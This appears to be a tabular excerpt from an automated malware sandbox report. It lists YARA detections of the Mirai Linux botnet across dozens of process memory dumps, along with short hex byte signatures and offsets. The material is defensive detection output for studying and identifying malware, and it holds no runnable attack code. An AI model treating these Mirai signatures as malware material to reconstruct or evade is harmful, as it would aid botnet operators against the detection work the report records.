7268.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7268.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7268.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7268.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6258.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6258.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6258.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6258.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6258.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6258.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6309.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6309.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6309.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6309.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6309.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6309.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6668.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7120.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7120.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7120.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7120.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7120.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7120.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6911.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6911.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6911.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6911.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6911.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6911.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7289.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7289.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7289.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7289.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7289.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7289.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7170.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7170.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7170.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7170.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7170.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7170.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6578.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6578.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6578.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6578.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6578.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6578.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7095.1.00000000ffa4d000.00000000ffa6e000.rw-.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7428.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7428.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7428.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7428.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7428.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7428.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6489.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6489.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6489.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6489.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6489.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6489.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6568.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6568.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6568.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6568.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6568.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6568.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6412.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6412.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6412.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6412.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6412.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6412.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6786.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6786.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6786.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6786.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6786.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6786.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6778.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6778.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6778.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6778.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6778.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6778.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6854.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6854.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6854.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6854.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6854.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6854.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7053.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7053.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7053.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7053.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7053.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7053.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7353.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7353.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7353.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7353.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7353.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7353.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6433.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6433.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6433.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6433.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6433.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6433.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6346.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6346.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6346.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6346.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6346.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6346.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7408.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7408.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7408.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7408.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7408.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7408.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6681.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6681.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6681.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6681.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6681.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6681.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6286.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6286.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6286.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6286.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6286.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6286.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7067.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7067.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7067.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7067.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7067.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7067.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7248.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7248.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7248.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7248.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7248.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7248.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6832.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6832.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6832.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6832.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6832.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6832.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6242.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6242.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6242.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6242.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6242.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6242.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7238.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7238.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
7238.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7238.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
7238.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
7238.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
6386.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6386.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6386.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6386.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xbae4:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6386.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xa43a:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6386.1.0000000008048000.000000000805c000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0x8d62:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
7367.1.0000000008048000.000000000805c000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
